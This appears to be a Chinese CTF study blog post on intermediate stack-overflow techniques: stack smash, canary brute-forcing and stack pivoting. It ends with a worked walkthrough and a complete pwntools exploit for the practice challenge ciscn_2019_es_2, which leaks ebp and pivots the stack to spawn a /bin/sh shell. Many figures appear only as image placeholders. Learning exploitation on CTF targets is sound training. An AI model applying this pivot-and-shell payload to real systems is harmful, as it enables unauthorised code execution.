pwn入门-栈溢出进阶

stack smash

image-20250111155436659

image-20250111155453812

当栈溢出时,输出了文件名,可以猜测在程序执行一开始就读到内存中,进一步猜测,如果把flag读到内存中,知道了flag地址,就可以通过栈溢出输出flag

 image-20250111161616173

如果能溢出flag的地址,栈溢出就会输出

image-20250111161738987

image-20250111161833138

image-20250111161901008

image-20250111161924470

image-20250111161934939

多进程下的爆破

爆破canary

image-20250111162031223

image-20250111162059002

依次爆破

image-20250111162302561

stack_pivot

栈迁移的原理&&实战运用 - ZikH26 - 博客园

栈迁移原理深入理解以及实操 - 先知社区

image-20250112162715529

image-20250112162731549

image-20250112162738830

ciscn_2019_es_2

image-20250119154236457

image-20250119154316367

image-20250119154354743

看看能不能溢出,好像不太行因为到Ebp 0x28,只能输入0x30,不够

看看能不能栈迁移栈迁移原理深入理解以及实操 - 先知社区

这里为什么要栈迁移呢?明明可以跳转到system函数,因为上面那个输出flag是假的,只是输出了字符”flag”

image-20250119165730057

要想真的输出还需要传参,一传参,空间就不够了,就需要栈迁移

gdb调试一下:

image-20250119170243740

image-20250119203633060

上图的第一个框是参数s的地址

第二个框是main函数的ebp的地址,这里我要解释一下了,我们此时是步进入了vul()函数,此时上图显示的ebp是vul()的ebp,我们的框中的才是main()的ebp

所以我们此时知道参数s的地址了,就是ebp_addr-0x38

首先,泄露ebp的地址

IDA分析vul()发现提供了 printf 这一输出函数,printf函数在输出的时候遇到’\0‘会停止,如果我们将参数s全部填满,这样就没法在末尾补上’\0‘,那样就会将ebp连带着输出

之后就是布置s栈上的值

先画一下栈帧,结合栈帧进行讲解

image-20250119172039535

image-20250119172112365

IDA看s的栈结构,我们构造的payload大致可以分为这7个框

  • 第一个框,这里是填充的aaaa字符串,这里是填入的我们前面进行gdb测试的字符串,这里存储的第二次pop ebp的弹出的内容,为的是接下来将system@plt存储到eip中
  • 第二个框,这里是存放的是system@plt的地址
  • 第三个框,这里存放的是system_ret_addr,这里随便填充即可,这里目的主要是维持栈的完整性
  • 第4个框,这里存放的是放置binsh的地址,其实通俗的理解就是放置跳转到/bin/sh的地址
  • 第5个框,是我们输入/bin/sh字符串之后存储的地方,这里顺便说一下为什么要利用8个字节进行存放我们的/bin/sh,因为/bin/sh占用7个字节,一个内存空间是远远不够的,所以我们调用2个内存空间进行存储。
  • 第6个框,是我们进行覆盖ebp的地方,我们将这里覆盖为参数s的地址,这样的话,当我们pop ebp的时候,会跳转到参数s的地址,就可以输入0x28个字节的内容,从而可以将我们的ROP链构造
  • 第7个框,这里就是随便写入一个leave;ret的地址即可

[原创]ciscn_2019_es_2栈转移-Pwn-看雪-安全社区|安全招聘|kanxue.com:

img

当然此处我们还有一个问题就是’/bin/sh’的地址我们不知道。我们可以通过泄露原来ebp的值来确定(就是上图中蓝色ebp的值),我们将此地址叫做addr,以免和ebp寄存器混淆.

printf函数会打印s字符串,且遇到0就会停止打印,所以如果我们将addr之前的内容全部填充不为0的字符,就能将addr打印出来,我们通过地址再计算出addr到s的距离,我们就可以通过addr来表示’/bin/sh’所在的地址了。

很明显啊,我们先通过第一个read传入payload,然后通过printf打印出addr的值(栈中蓝色ebp的值,为了不和寄存器ebp混淆,我们将其称之为addr),然后通过第二个read函数构造栈转移,执行systeam(‘/bin/sh’)

这里解释下为什么要泄露ebp的地址,因为我们做题都是在自己机器上做然后去打远程,我们不知道远程的ebp的地址,要先算,而且ebp是在内存中的,地址不定

image-20250119200859920

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

a = remote("node5.buuoj.cn",27108)
# a = process("ciscn_2019_es_2")
context(arch='i386',os='linux',log_level='debug')

system_addr = 0x8048400
leave_ret = 0x08048562

a.recvuntil(b"Welcome, my friend. What's your name?")
payload1 = cyclic(0x20) + b'b'*8

a.send(payload1)
# 这里会连带输出ebp_addr
a.recvuntil(b"bbbbbbbb")

ebp = u32(a.recv(4))
print(hex(ebp))

# ebp - 0x28是为了指向binsh,因为传参system() 需要一个指向 "/bin/sh" 字符串的指针,而不能直接是字符串
payload2 = b'a'*4 + p32(system_addr) + p32(0xdeadbeef) + p32(ebp - 0x28) + b"/bin/sh"
payload2 = payload2.ljust(0x28, b'\x00')
payload2 += p32(ebp - 0x38) + p32(leave_ret)
a.send(payload2)

a.interactive()